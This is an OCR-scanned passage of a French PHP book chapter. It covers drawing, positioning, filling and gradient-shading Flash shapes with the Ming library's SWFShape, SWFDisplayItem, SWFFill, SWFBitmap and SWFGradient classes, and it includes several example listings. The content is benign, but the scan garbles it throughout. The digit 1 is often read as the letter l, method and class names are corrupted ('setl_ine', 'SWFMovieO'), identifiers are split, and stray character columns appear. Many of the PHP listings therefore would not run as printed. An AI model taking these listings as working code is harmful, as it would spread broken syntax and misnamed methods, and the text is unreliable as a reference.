Par defaut, pour toutes les methodes presentees precedemment, la largeur du trace est 
nulle. Vous ne verrez done rien tant que vous ne ferez pas appel a la methode 
setLine ( ) ou aux fonctions de remplissage setLeftFill ( ) et setRightFill ( ). 
Voir le chapitre dedie au trace et remplissage. 



Voici done un exemple de ce qui peut etre realise 
Listing 13.30 : ming_shape01.php 

<?php 

// L 1 animation ne presentera 

// qu'une image par seconde 

// pour laisser le temps 

// d'apprecier la succession des vues 
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Chapitre 1 3 Les images et les animations Flash 



$anim = new SWFMovie(); 
$anim->setDimension(100, 100); 
$anim->setBackground(0, 125, 255); 
$anim->setRate(l) ; 

// Creation des differents objets 
// qui seront utilises dans 
// 1 'animation 

// La premiere forme sera une simple ligne 
// partant du point (50, 95) 
// et remontant de 45 unites 
// Le trace sera vert et d'l unite de large. 
$formel = new SWFShape(); 
$formel->setLine(l, 0, 255, 0); 
$formel->movePenTo(50, 95); 
$formel->drawLine(0, -45); 

// La seconde forme sera un carre 
// de 20 unites de cote 
// avec un trace jaune d'l unite de large 
$forme2 = new SWFShape(); 
$forme2->setLine(l, 255, 255, 0); 
$forme2->movePenTo(40, 50); 
$forme2->drawLine(0, -20); 
$forme2->drawLine(20, 0); 
$forme2->drawLine(0, 20); 
$forme2->drawLine(-20, 0); 

// La troisieme forme sera simplement 

// le caractere * 

// Mais pour eel a, nous devons 

// egalement creer un objet SWFFont 

// Ceci necessite done que vous ayez 

// un fichier Arial.fdb dans un sous-repertoire 

// ming_polices. 

// Si ce n'est pas le cas, modifier 

// le nom de la police ou le chemin 

// specifie pour le faire coincider 

// avec votre environnement. 

// A defaut, mettez en commentaire 

// la creation de forme3 et son 

// ajout a 1 'animation. 

$forme3 = new SWFShape(); 

$font = new SWFFont("ming_polices/arial .fdb") ; 

$forme3->setLine(l, 255, 255, 255); 

$forme3->movePenTo(40, 70); 

$forme3->drawGlyph($font, "*") ; 

// Puis une courbe 
$forme4 = new SWFShape(); 
$forme4->setLine(l, 0, 0, 0); 
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$forme4->movePenTo(50, 30); 
$forme4->drawCubic(0, -50, 60, 60, -50, 0) ; 

// et une autre 
$forme5 = new SWFShape(); 
$forme5->setl_ine(l, 0, 0, 0); 
$forme5->movePenTo(60, 40); 
$forme5->drawCubic(50, 0, -60, 60, 0, -50); 

// et une autre 
$forme6 = new SWFShape(); 
$forme6->setLine(l, 0, 0, 0); 
$forme6->movePenTo(50, 50); 
$forme6->drawCubic(0, 50, -60, -60, 50, 0) ; 

// et encore une autre 
$forme7 = new SWFShape(); 
$forme7->setLine(l, 0, 0, 0); 
$forme7->movePenTo(40, 40); 
$forme7->drawCubic(-50, 0, 60, -60, 0, 50); 

// Maintenant que "Ton a tout les objets 
// on passe a la creation de 1 'abimation 

// Dans la vue 1 n'apparait que la forme 1 
$anim->add($formel) ; 
$anim->nextFrame() ; 



la forme 2 



// Puis dans la vue 2 vient s'ajouter 
$anim->add($forme2) ; 
$anim->nextFrame() ; 

// dans la vue 3 la forme 3 

$anim->add($forme3) ; 
$anim->nextFrame() ; 



// dans ma vue 4... tout le reste 
$anim->add($forme4) ; 
$anim->add($forme5) ; 
$anim->add($forme6) ; 
$anim->add($forme7) ; 

// ATTENTION: Meme s'il s'agit de la 
// derniere vue, ne pas oublier 
// 1'appel a nextFrame(); 
$anim->nextFrame() ; 

// II est temps de voir le resultat 

header ("Con tent -type: application/x-shockwave-flash") ; 

$anim->output() ; 
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Chapitre 1 3 Les images et les animations Flash 



REMARQUE 



Fonctions non disponibles 

Ace jour, il n 'est pas possible de tracer facilement des cercles ou arcs de cercles. Les 
fonctions drawArcO et drawcircle ( ) prevues a cet effet ne sont pas encore 
fonctionnelles. 



Positionnement et modification des objets 

Comme cela a ete evoque precedemment, lorsque Ton appelle la methode add ( ) de l'objet 
SWFMovie pour ajouter un objet de type swFButton, swFShape, swFSprite ou swFText, un 
objet SWF Display Item est retourne. 

Cet objet permet, grace aux methodes suivantes, de : 

Donner un nom aux objets : 



SWFDisplayItem->setName () 
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Donne un nom a l'objet afin de pouvoir l'identifier dans les scripts d'action (que nous verrons 
plus loin). 

Syntaxe void setName (string $nom) 

$ n om Nom a donner a l'obj et. 

Modifier la position des objets : 



SWFDisplayItem->setDepth () 

Deplace l'objet dans un couche differente (pour le mettre devant ou derriere un ou plusieurs 
autres objets). 

Syntaxe void setDepth(int $couche) 

$couche Couche dans laquelle doit etre deplace l'objet. 



SWFDisplayItem->moveTo () 

Deplace l'origine de l'objet vers de nouvelles coordonnees. 

Syntaxe void moveTo(int $x, int $y) 

$x Nouvelle abscisse pour l'origine de l'objet. 

$y Nouvelle ordonnee pour l'origine de l'objet. 
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SWFDisplayItem->move () 

Deplace l'origine de 1'objet vers de nouvelles coordonnees relatives a sa position courante. 

Syntaxe void move(int $dx, int $dy) 

$dx Abscisse relative pour l'origine de 1'objet. Soit l'abscisse absolue 

$xCourant+$dx. 

$dy Ordonnee relative pour l'origine de 1'objet. Soit l'ordonnee absolue 

$yCourant+$dy. 



SWFDisplayItem->rotateTo () 

Fait pivoter 1'objet par rapport a son angle d'origine. 

Syntaxe void rotateTo (double $angle) 

$angl e Angle de rotation exprime en degres. 

SWFDisplayItem->rotate () 

Fait pivoter 1'objet par rapport a son angle courant. 

Syntaxe void rotate (double $dangle) 

$angl e Angle de rotation relatif a Tangle courant, exprime en degres. 

D'alterer leur forme : 
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SWFDisplayItem->scaleTo () 



Modifie la taille de 1'objet par rapport a sa taille d'origine. 

Syntaxe void scaleTo(double $coefX, double $coefY) 

$coefX Coefficient multiplicateur a appliquer sur la largeur d'origine de 1'objet. 

$coef Y Coefficient multiplicateur a appliquer sur la hauteur d'origine de 1'objet. 
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Chapitre 1 3 Les images et les animations Flash 

SWFDisplayItem->scale () 

Modifie la taille de l'objet par rapport a sa taille courante. 

Syntaxe void scale(double $coefX, double $coefY) 

$coef X Coefficient multiplicateur a appliquer sur la largeur courante de l'objet. 

$coef Y Coefficient multiplicateur a appliquer sur la hauteur courante de l'objet. 



SWFDisplayItem->skewXTo () 



Deforme l'objet par une inclinaison de l'axe x selon une pente donnee par rapport a son 
inclinaison d'origine. 

Syntaxe void skewXTo (double $pente) 

$pente Coefficient de pente, ou encore tangente de Tangle d'inclinaison. 



<s> 




CD 




^~ 


«"~ 




GO 


CD 


CO 






CO 


Ll_ 


CD 




O) 


CO 


CO 


c 


E 


_o 




"co 


co 

CD 


E 


_l 


't= 




CO 


m 









SWFDisplayItem->skewX() 



Deforme l'objet par une inclinaison de l'axe x selon une pente donnee par rapport a son 
inclinaison courante. 

Syntaxe void skewX (double $pente) 

$pente Coefficient de pente, ou encore tangente de Tangle d'inclinaison. 



SWFDisplayItem->skewYTo () 



Deforme l'objet par une inclinaison de l'axe y selon une pente donnee par rapport a son 
inclinaison d'origine. 

Syntaxe void skewYTo (double $pente) 

$pente Coefficient de pente, ou encore tangente de Tangle d'inclinaison. 



SWFDisplayItem->skewY() 



Deforme l'objet par une inclinaison de l'axe y selon une pente donnee par rapport a son 
inclinaison courante. 
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Syntaxe void skewY (double $pente) 

$pente Coefficient de pente, ou encore tangente de Tangle d'inclinaison. 

ou leur couleur : 



SWFDisplayItem->addColor () 



Ajoute (ou soustrait selon les signes) aux composantes de la couleur d'origine les composantes 
de la couleur donnee. Les valeurs obtenues seront evidemment bornees sur l'intervalle [0, 255]. 

Syntaxe void addColor(int $rouge, int $vert, int $bleu, [int $alpha]) 

$rouge Composante rouge (comprise entre -255 et 255) a ajouter a la couleur 

d'origine. 

$vert Composante verte (comprise entre -255 et 255) a ajouter a la couleur 

d'origine. 

$bleu Composante bleue (comprise entre -255 et 255) a ajouter a la couleur 

d'origine. 

$al pha Composante Alpha ou transparence (comprise entre -255 et 255) a ajouter 

a la couleur d'origine. Rappel : plus Alpha est proche de 0, plus l'objet est 
transparent ; plus il est proche de 255, plus l'objet est opaque. 



SWFDisplayItem->multColor () 



Multiplie les composantes de la couleur d'origine. Les valeurs obtenues seront evidemment 
bornees sur l'intervalle [0, 255]. 

Syntaxe void mul tColor(double $coefRouge, double $coefVert, double 

$coefBleu, [double $coef Alpha] ) 

$coef Rouge Coefficient multiplicateur pour la composante rouge (> = 0). 

$coef Vert Coefficient multiplicateur pour la composante verte (> = 0). 

$coef Bl eu Coefficient multiplicateur pour la composante bleue (> = 0). 

$alpha Coefficient multiplicateur pour la composante Alpha ou transparence 

(> = 0). Rappel : plus Alpha est proche de 0, plus l'objet est transparent ; 
plus il est proche de 255, plus l'objet est opaque. 



REMARQUE 



Axe de rotation 

Les rotations s 'effectuant par rapport a I'axe qui a servi d'origine lors de la creation de 
l'objet, il est fortement conseille de faire coincider cet axe avec le centre de l'objet. 
L 'erreur classique consiste a creer l'objet autour du point dans lequel il se trouve dans 
la premiere vue. 
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Chapitre 1 3 Les images et les animations Flash 



-E3- 



□ 



Figure 13.35 : 

Exemple d'un objet cree avec le centre a 
Vorigine 

Figure 13.36 : 

puis ayant subi une translation 



o 



Figure 13.37 : 

suivie d'une rotation de 45 °. 



□ 



Figure 13.38 : 

Exemple d'un objet cree a son 
emplacement dans la premiere vue 
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Figure 13.39 : 

puis ayant subit une rotation de 45 °. 



Suppression d'un objet 



En revanche, pour supprimer un objet, on fera appel a la methode remove ( ) de 1'objet 
SWFMovie. 



SWFMovie->remove () 



Supprime un objet de la vue. 

Syntaxe void remove(SWFDisplayItem $objetSWFDisplayItem) 

$objetSWFDisplayItdnfobjet SWFDisplayltem qui avait ete retourne par la methode add( ) 
lorsque 1'objet avait ete ajoute a une precedente vue. 

Dans l'exemple suivant, nous avons deux objets identiques, dont l'un est supprime dans la 
seconde vue. 

Listing 13.31 : mingremove.php 

<?php 

$dessinForme = new SWFShape(); 

$dessinForme->setLine(l, 0, 0, 0); 
$dessinForme->movePenTo(-10, -10) ; 
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$dessinForme->drawLine(20, 0); 
$dessinForme->drawLine(0, 20); 
$dessinForme->drawLine(-20, 0); 
$dessinForme->drawLine(0, -20); 

$anim = new SWFMovie(); 
$anim->setDimension(100, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

$formel = $anim->add($dessinForme) ; 
$formel->moveTo(30, 30); 

$forme2 = $anim->add($dessinForme) ; 
$forme2->moveTo(20, 60); 

$anim->nextFrame() ; 

$anim->remove($forme2) ; 
$anim->nextFrame() ; 

header ("Con tent-type: application/x-shockwave-flash") ; 
$anim->output() ; 



Trace et remplissage des formes 

Les objets SWFShape possedent des methodes permettant de fixer les parametres de leur trace 
(epaisseur du trait, couleur) ainsi que les parametres de remplissage. 



SWFShape->setLine() 

Precise la largeur et la couleur du trace de la forme. 

Syntaxe void setLine(int $largeur, [int $rouge, int $vert, int $bleu], 

[int $alpha]) 

$largeur Largeur du trace. 

$rouge Composante rouge de la couleur du trace (peut etre omise en meme temps 

que $vert, $bleu et $alpha notamment si $ largeur = 0). Valeur 
comprise entre et 255. 

$ vert Composante verte de la couleur du trace (peut etre omise en meme temps 

que $rouge, $bleu et $alpha notamment si $largeur = 0). Valeur 
comprise entre et 255. 

$bl eu Composante bleue de la couleur du trace (peut etre omise en meme temps 

que $rouge, $vert et $alpha notamment si $ largeur = 0). 
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Chapitre 1 3 Les images et les animations Flash 



$alpha Composante Alpha (transparence) de la couleur du trace. Valeur 

comprise entre (couleur totalement transparente) et 255 (couleur 
totalement opaque). Ce parametre est optionnel. 



SWFShape->setLeftFill() 



Precise le motif de remplissage de l'interieur de la forme lorsque celle ci est dessinee dans le 
sens inverse des aiguilles d'une montre (quand l'interieur se situe a gauche du trace). 

Syntaxe void setLeftFill (SWFFil 1 $objetSWFFill) 

$obj etSWFFi 1 1 Objet SWFFill precisant le motif de remplissage (voir ci-apres). 



SWFShape->setRightFill() 
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Precise le motif de remplissage de l'interieur de la forme lorsque celle ci est dessinee dans le 
sens des aiguilles d'une montre (quand l'interieur se situe a droite du trace). 

Syntaxe void setRightFil 1 (SWFFill $objetSWFFill) 

$obj etSWFFi 1 1 Objet SWFFill precisant le motif de remplissage (voir ci-apres). 



Difference entre setLeftFillQ et setRightFillQ 

Nous ne sommes pas parvenus a mettre en evidence la difference de comportement 
entre setLeftFill ( ) et setRightFill ( ). Sur les exemples testes, Vun et Vautre 
peuvent s'appliquer indifferemment. 



REMARQUE 



Comme vous pouvez le constater, les methodes de remplissage s'appuient sur des objets que 
nous n'avons pas encore vus jusque-la. Les objets SWFFill ne sont pas censes etre instancies 
directement. lis sont en fait retournes par la methode addFill ( ) de l'objet SWFShape. Cette 
methode accepte trois interfaces distinctes. 



SWFShape->addFill() remplissage "solide" 



Dans la syntaxe decrite ici, associe a la forme une methode de remplissage basee tout 
simplement sur une couleur et retourne l'objet SWFFill correspondant. 

Syntaxe SWFFill addFill (int $rouge, int $vert, int $bleu, [int $alpha]) 

$rouge Composante rouge de remplissage de la forme. Valeur comprise entre 

et 255. 
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$vert Composante verte de remplissage de la forme. Valeur comprise entre 

et255. 

$bl eu Composante bleue de remplissage de la forme. Valeur comprise entre 

et255. 

$alpha Composante Alpha (transparence) de la couleur du trace. Valeur 

comprise entre (couleur totalement transparente) et 255 (couleur 
totalement opaque). Ce parametre est optionnel. 



SWFShape->addFill() remplissage par une image 

Associe a la forme une methode de remplissage basee sur un objet "image" (SWFBitmap). 

Syntaxe SWFFill addFil 1 (SWFBitmap $objetSWFBitmap, [int$mode]) 

$ob j etSWFBi tmap Objet "image" utilise comme motif de remplissage (voir ci-apres). 

$mode Mode de remplissage. Cet argument optionnel peut prendre l'une des 

deux valeurs definies par des constantes. 

SWFFILL_TILED_BITMAP (valeur par defaut) si vous souhaitez que le 
motif se repete "a l'infini". 

SWFFILL_CLI PPED_BITMAP si vous souhaitez que le motif n'apparaisse 
qu'une seule fois. Dans ce cas, avant d'eventuelles transformations par 
appel aux methodes proposees par SWFFill, le coin superieur gauche de 
l'image coincide avec l'origine (0,0). 



SWFshape->addFill() remplissage par un degrade 

Associe a la forme une methode de remplissage basee sur un objet "degrade" {SWF Gradient). 

Syntaxe SWFFill addFil 1 (SWFGradient $objetSWFGradient, [int $mode]) 

$ob j etSWFGradi ent Objet "degrade" utilise comme motif de remplissage (voir ci-apres). 

$mode Mode de remplissage. Cet argument optionnel peut prendre l'une des 

deux valeurs definies par des constantes. 

SWFFILL_LINEAR_GRADIENT (valeur par defaut) si vous souhaitez que 
le degrade soit lineaire (selon l'axe des abscisses x, avant d'eventuelles 
transformations par appel aux methodes proposees par SWFFill). 
SWFFILL_RADIAL_GRADIENT si vous souhaitez que le degrade soit 
radial (par cercles concentriques centres sur l'origine [0,0], avant 
d'eventuelles transformations par appel aux methodes proposees pas 
SWFFill). 
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Chapitre 1 3 Les images et les animations Flash 

Listing 13.32 : ming fillOLphp 

<?php 

// Creation d'une forme quelconque fermee. 

$dessinForme = new SWFShape(); 

// Pour mieux apprecie les limites, nous tragons le 
// contour en noir. 

$dessinForme->setLine(l, 0, 0, 0); 

// Et nous remplissons la forme avec la couleur rouge 

$fill = $dessinForme->addFill (255, 0, 0); 

$dessinForme->setl_eftFil 1 ($fill) ; 
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$dessi 
$dessi 
$dessi 
$dessi 



nForme->movePenTo(-50, -40); 
nForme->drawCurveTo(0, -60, 60, -20); 
nForme->drawCurveTo(10, 5, 60, 40); 
nForme->drawCurveTo(0, 60, -30, 30); 



$dessinForme->drawCurveTo(-20, 0, -50, -40); 

$anim = new SWFMovieO; 
$anim->setDimension(300, 100) ; 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

$formePl ei ne=$anim->add ($dessi n Forme) ; 
$formePleine->moveTo(60, 50); 
$anim->nextFrame() ; 

header ("Con tent- type: application/x-shockwave-flash") ; 
$anim->output() ; 



Nous voila maintenant avec deux nouveaux objets restes jusque-la inconnus. II s'agit des objets 
SWFBitmap et SWFGradient. 

Le premier s'instancie par un appel au constructeur : 



SWFBitmap 

Objet image utilise comme motif de remplissage. 

Syntaxe SWFBitmap SWFBitmap (string $fichier, [string 

$f i chi erMasqueAl pha] ) 



1112 



$fichier 



Les animations Flash 



Nom du fichier image a charger. Ce fichier doit etre au format JPEG non 
progressif ou DBL (Define Dit Lossless). Les fichiers DBL peuvent etre 
crees a partir de fichiers GIF ou PNG grace aux utilitaires gif2dbl et 
png2dbl fournis avec la bibliotheque Ming. 



$f i chi erMasqueAl pha Ce parametre optionnel indique un nom de fichier .rusk. Ce fichier servira 
de composante Alpha (transparence) pour l'image JPEG. Les fichiers 
.msk peuvent etre crees a partir de fichiers GIF grace a 1'utilitaire gif2msk 
fourni avec la bibliotheque Ming. 



A 



ATTENTION 



Regression ? 

Depuis la version 4.2.0 et jusqu'a 4.2.2 (minimum), Vobjet SWFBitmap ne semble 
plus reconnoitre aucun format d'image. 



REMARQUE 



Generation et utilisation des commandes gif2dbl, png2dbl et gijlmsk 

Les commandes gif2dbl, png2dbl et gif2msk ne sont pas compilees en meme 
temps que la bibliotheque Ming. Ilfaut done, sous Linux, aller dans le sous repertoire 
"util" et taper les instructions : 

# make gif2dbl 

# make png2dbl 

# make gif2msk 

pour les generer toutes les trois. De plus, ces fichiers sources necessitent quelques 

bibliotheques. (Par exemple, les commandes gif 2 necessitent le fichier gif Jib. h que 

vous pourrez trouver dans le rpm libungif-devel. Pour cela, consultez votre 

distribution Linux). 

L 'utilisation de ces commandes est tres simple (elles acceptent toutes le parametre 

"-help"): 

Pour creer un fichier . dbl dans le meme repertoire que le fichier .gif il suffit de taper : 

> gi f 2dbl fichier.gif 

Pour creer un fichier . dbl dans le meme repertoire que le fichier .png, il suffit de taper : 

> png2dbl fichier. png 

Pour creer un fichier. msk dans le meme repertoire que le fichier .gif il suffit de taper : 

> gif2msk fichier.gif 
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Les methodes de cet objet : 



SWFBitmap->getWidth() 

Retourne la largeur, en pixels, de l'image. 
Syntaxe int getWidth(void) 
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Chapitre 1 3 Les images et les animations Flash 

SWFBitmap->getHeight() 

Retourne la hauteur, en pixels, de l'image. 

Syntaxe int getWidth(void) 

Voici un exemple de script de remplissage d'une forme par une image repetee a l'infini. 

Listing 13.33 : ming_fill02.php 

<?php 

// Creation d'une forme quelconque 
// fermee. 

$dessinForme = new SWFShape(); 

// Pour mieux apprecier le trace 
// nous tragons le contour en noir 

$dessinForme->setLine(l, 0, 0, 0); 

// et nous souhaitons egalement 

// avoir une forme pleine 

// basee sur un remplissage par 

// une image 

// Done, dans un premier temps 

// nous creons un objet SWFBitmap 

// en precisant un fichier image 

$bitmap = new SWFBitmap("images/rempl issage.jpg") ; 

// Objet bitmap que nous pouvons alors 

// "declarer" comme forme de remplissage 

// pour notre forme. 

// Par defaut l'image sera repetee a l'infini 

// Ce qui permet de recuperer un objet 

// SWFFill... 

$fill = $dessinForme->addFill ($bitmap) ; 

// ... qui va nous servir a remplir 
// la forme. 
$dessinForme->setLeftFil 1 ($fill ) ; 

// Maintenant que l'on a precise 
// comme sera rempl i 1 a forme 
// on peut la tracer. 
$dessinForme->movePenTo(-50, -40) ; 
$dessinForme->drawCurveTo(0, -60, 60, -20); 
$dessinForme->drawCurveTo(10, 5, 60, 40); 
$dessinForme->drawCurveTo(0, 60, -30, 30); 



1114 



Les animations Flash 



$dessinForme->drawCurveTo(-20, 0, -50, -40); 

$anim = new SWFMovie(); 
$anim->setDimension(300, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

// II ne s'agit pas a proprement parler 
// d'une animation puisqu'il n'y qu'une seule 
// vue mais peu importe. 
$formePleine=$anim->add($dessinForme) ; 

// La forme ayant ete dessinee autour 
// de 1'origine (0,0) il faut la 
// re-centrer dans I 1 image 
$formePleine->moveTo(60, 50); 

$anim->nextFrame() ; 

header ("Con tent-type: application/x-shockwave-flash") ; 
$anim->output() ; 



? 



!> 




Ce qui donne le resultat suivant : 

Figure 13.40 : 

Remplissage par une image repetee a 
I'infini 



Un autre exemple, ou cette fois 1'image n'est pas repetee a I'infini. 

Listing 13.34 : ming_fill03.php 

<?php 

// Cet exemple reprend 1 'exemple precedent. 
//Ala seule difference que le mode de 
// remplissage est fixe a SWFFILL_CLIPPED_BITMAP 
// L'image n'est done pas reproduite a I'infini 

$dessinForme = new SWFShape(); 

$dessinForme->setLine(l, 0, 0, 0); 

$bitmap = new SWFBitmap("images/remplissage.jpg") ; 

// Voila, e'est juste la ou ca differe. 

$fill = $dessinForme->addFill($bitmap, SWFFILL_CLIPPED_BITMAP) ; 

$dessi nForme->setLef tFi 1 1 ($f i 1 1 ) ; 
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Chapitre 1 3 Les images et les animations Flash 



Jdessi 
$dessi 
$dessi 
$dessi 



nForme->movePenTo(-50, -40); 
nForme->drawCurveTo(0, -60, 60, -20); 
nForme->drawCurveTo(10, 5, 60, 40); 
nForme->drawCurveTo(0, 60, -30, 30); 



$dessinForme->drawCurveTo(-20, 0, -50, -40); 

$anim = new SWFMovieO; 
$anim->setDimension(300, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

$formePl ei ne=$anim->add ($dessi n Forme) ; 
$formePleine->moveTo(60, 50); 
$anim->nextFrame() ; 

header ("Con tent- type: application/x-shockwave-flash") 
$anim->output() ; 



?> 
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Ce qui donne le resultat suivant (le coin superieur gauche de l'image coincide avec 1'origine 
[0,0] de l'objet) : 

Figure 13.41 : 

Remplissage par une image non repetie 




Quant au second, il s'instancie par un appel au constructeur : 



SWFGradient 

Objet "degrade" utilise comme motif de remplissage. 

Syntaxe SWFGradient SWFGradient (void) 

et propose l'unique methode : 



SWFGradient->addEntry() 

Permet de fixer les couleurs d'un degrade. 

Cette fonction doit etre appelee autant de fois que necessaire pour ajouter les couleurs voulues. 
Les appels successifs doivent se faire dans l'ordre croissant de $coef . 
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Syntaxe 

$coef 



$rouge 
$vert 
$bleu 
$alpha 



void addEntry (double $coef, int $rouge, int $vert, int $bleu, 
[int $alpha]) 

Indique la position de la couleur dans le degrade. 

Pour un degrade lineaire, une valeur indique que le degrade doit 
commencer tout a gauche par cette couleur, une valeur de 1 indique que le 
degrade doit se terminer tout a droite par cette couleur. Une valeur 
intermediate de . 3 (par exemple) indique que le degrade doit passer par 
cette couleur a son premier tiers (celui du cote gauche). Et evidemment 
. 5 indique le milieu. 

Pour un degrade radial, une valeur indique que le centre du degrade doit 
avoir cette couleur, une valeur de 1 indique que le cercle de plus grand 
rayon doit avoir cette couleur. Et enfin, toutes les valeurs intermediaires 
indiquent des positions intermediaires pour la couleur. 
Les degrades s'etalent approximativement entre les coordonnees x [-800, 
800] (pour les degrades lineaires) ou les rayons [0, 800] (pour les degrades 
radiaux). 

Precise la composante rouge de la couleur. Valeur comprise entre et 255. 

Precise la composante verte de la couleur. Valeur comprise entre et 255. 

Precise la composante bleue de la couleur. Valeur comprise entre et 255. 

Parametre optionnel, precise la composante Alpha (transparence) de la 
couleur. Valeur comprise entre (totalement transparent) et 255 
(totalement opaque). 




Figure 13.42 : Exemples de degrades lineaires (avec deux puis trois couleurs) 
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Figure 13.43 : Exemples de degrades radiaux (avec deux puis trois couleurs) 

Listing 13.35 : ming_gradient02.php 

<?php 

// Creation d'un carre tout simple 
// afin de le remplir d'un degrade 
$dessinForme = new SWFShape(); 

// Creation du degrade 
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Chapitre 1 3 Les images et les animations Flash 



// compose de 3 couleurs 
$degrade = new SWFGradient() ; 
$degrade->addEntry(0, 255, 0, 0); // Du Rouge 
$degrade->addEntry(0.3, 255, 255, 0); // En pasant par le Jaime 
$degrade->addEntry(l, 0, 255, 0); // Vers le Vert 

// On prendra un degrade lineaire 

$fill = $dessinForme->addFill($degrade, SWFFILL_LINEAR_GRADIENT) ; 

$dessinForme->setRightFill ($fill) ; 

// Un simple carre de 1700 de cote 

// puisque par defaut le degrade 

// s'etale de -800 a 800 (environ) 

// Rassurez vous, on verra que 1 ' on 

// peut tres bien s'affranchir de ce "probleme" 

$dessinForme->movePenTo(-850, -850) ; 

$dessinForme->drawl_ine(1700, 0) ; 

$dessinForme->drawLine(0, 1700) ; 

$dessinForme->drawLine(-1700, 0) ; 

$dessinForme->drawLine(0, -1700) ; 

$anim = new SWFMovieO; 
$anim->setDimension(1750, 1750) ; 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

$formePl ei ne=$anim->add ($dessi n Forme) ; 
$formePleine->moveTo(875, 875); 
$anim->nextFrame() ; 

header ("Con tent- type: application/x-shockwave-flash") ; 
$anim->output() ; 
?> 



REMARQUE 



Methodes "raccourcis" 

Les methodes setLeftFill ( ) et setRightFill ( ) possedent des variantes 
permettant des raccourcis. 
Ainsi : 

SWFShape->setLeftFill ($rouge, $vert, $bleu, [$alpha] ) est un raccourci 
pour SWFShape->setLeftFill (SWFShape->addFill ($rouge, $vert, $bleu, 
[$alpha]). 

SWFShape->setRightFill ($rouge, $vert, $bleu, [$ alpha ]) est Wl raccourci 
pour SWFShape->setRightFill (SWFShape->addFill ( $rouge, $vert, $bleu, 
[$alpha]). 
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Afin de mieux maitriser le positionnement de 1'objet de remplissage dans la forme, l'objet 
SWFFill propose un certain nombre de methodes. 



SWFFill->moveTo() 



Deplace l'origine du motif de remplissage (par exemple, le coin superieur gauche de l'image). 

Syntaxe void moveTo(int $x, int $y) 

$x Nouvelle coordonnee x de l'objet de remplissage. 

$y Nouvelle coordonnee y de l'objet de remplissage. 



SWFFill->scaleTo() 

Modifie la taille du motif de remplissage. 

Syntaxe void seal eTo (double $coefX, double $coefY) 

$coef X Multiplie la largeur du motif de remplissage par le coefficient $ coe f X par 

rapport a sa taille initiale. Dans le cas ou le motif de remplissage est une 
image (et non un degrade), son comportement est plus mysterieux. 

$coefY Multiplie la hauteur du motif de remplissage par le coefficient $coefY 

par rapport a sa taille initiale. Dans le cas ou le motif de remplissage est 
une image (et non un degrade), son comportement est plus mysterieux. 



SWFFill->rotateTo() 
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Fait pivoter le motif de remplissage. 

Syntaxe void rotateTo (double $angle) 

$angl e Angle de rotation du motif de remplissage par rapport a son angle initial, 

exprime en degres. 



SWFFill->skewXTo() 

Deforme le motif de remplissage selon l'axe des x. 

Syntaxe void skewXTo (double $pente) 

$pente Coefficient de pente (ou tangente de Tangle d'inclinaison) applique sur 

l'axe des x par rapport a son axe d'origine. 
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SWFFill->skewYTo() 
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Deforme le motif de remplissage selon l'axe des y. 

Syntaxe void skewYTo (double $pente) 

$pente Coefficient de pente (ou tangente de l'angle d'inclinaison) applique sur 

l'axe des y par rapport a son axe d'origine. 

Pour mieux positionner une image (non repetee a l'infini), nous avons tout interet a faire appel 
a ces methodes, comme le montre le script suivant : 

Listing 13.36 : ming06.php 

<?php 

// Cet exemple reprend l'exemple precedent. 

// A la seule difference que 1 'objet de remplissage 

// est deplace pour etre mieux centre dans la forme 

$dessinForme = new SWFShape(); 

$dessinForme->setLine(l, 0, 0, 0); 

$bitmap = new SWFBitmap("images/rempl issage.jpg") ; 

$fill = $dessinForme->addFill($bitmap, SWFFILL_CLIPPED_BITMAP) ; 

// Jusqu'alors nous n'avons pas manipule 

// 1 'objet SWFFill obtenu 

// Et bien, c'est maintenant chose faite 

// Plutot que de faire coincider le coin superieur 

// gauche de 1 'image avec l'origine de la forme (0,0) 

// C'est le milieu de 1 'image que 1'on va faire 

// coincider avec l'origine de la forme 

// Ce qui permet egalement de manipuler les 

// methodes getWidth() et getHeight() de SWFBitmap 

$f i 1 1 ->moveTo (-$bi tmap->getWi dth ()/2, -$b1 tmap->getHei ght () /2) ; 

$dessinForme->setLeftFil 1 ($fill ) ; 

$dessinForme->movePenTo(-50, -40) ; 
$dessinForme->drawCurveTo(0, -60, 60, -20); 
$dessinForme->drawCurveTo(10, 5, 60, 40); 
$dessinForme->drawCurveTo(0, 60, -30, 30); 
$dessinForme->drawCurveTo(-20, 0, -50, -40); 

$anim = new SWFMovieO; 
$anim->setDimension(300, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 
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$formePleine=$anim->add($dessinForrne) ; 
$formePleine->moveTo(60, 50); 
$anim->nextFrame() ; 

header ("Con tent -type: application/x-shockwave-flash") 
$anim->output() ; 



? 



?> 



Ce qui donne le resultat : 
Figure 13.44 




Image de remplissage 
centree 



Ces methodes sont egalement indispensables pour bien maitriser le rendu d'un degrade. 

Listing 13.37 : ming_gradient05.php 

<?php 

// Creation d'une forme quelconque 
// afin de la remplir d'un degrade 
$dessinForme = new SWFShape(); 

// Creation du degrade 
// compose de 2 couleurs 
$degrade = new SWFGradient() ; 
$degrade->addEntry(0, 255, 0, 0); // Du Rouge 
$degrade->addEntry(l, 255, 255, 0); // Vers le Jaune 

// On prendra un degrade lineaire 

$fill = $dessinForme->addFill($degrade, SWFFILL_LINEAR_GRADIENT) ; 

// Par defaut, le degrade 

// s'etale des abscisses -800 a 800 

// Notre forme, elle, fait a peut pres 60x60 

// Nous allons done reduire la tail 1 e 

// de la forme de remplissage 

$fill->scaleTo(60/1600); 

// Et juste pour le "fun" 

// on va en faire un degrade a 45 degres 

$fill->rotateTo(45); 

$dessinForme->setRightFill ($fill) ; 

// Notre forme quelconque 
// de taille approximative 
// 60x60 
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Chapitre 1 3 Les images et les animations Flash 



$dessinForme->movePenTo(-50, -40) ; 
$dessinForme->drawCurveTo(0, -60, 60, -20); 
$dessinForme->drawCurveTo(10, 5, 60, 40); 
$dessinForme->drawCurveTo(0, 60, -30, 30); 
$dessinForme->drawCurveTo(-20, 0, -50, -40); 

$anim = new SWFMovie(); 
$anim->setDimension(100, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

$formePl ei ne=$anim->add ($dessi n Forme) ; 
$formePleine->moveTo(50, 50); 
$anim->nextFrame() ; 

header ("Con tent- type: appl ication/x-shockwave-flash") ; 
$anim->output() ; 
?> 

Ce qui permet d'obtenir le resultat suivant : 
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Figure 13.45 : 

Remplissage par un degrade ajuste a la 
forme 



Le morphing 

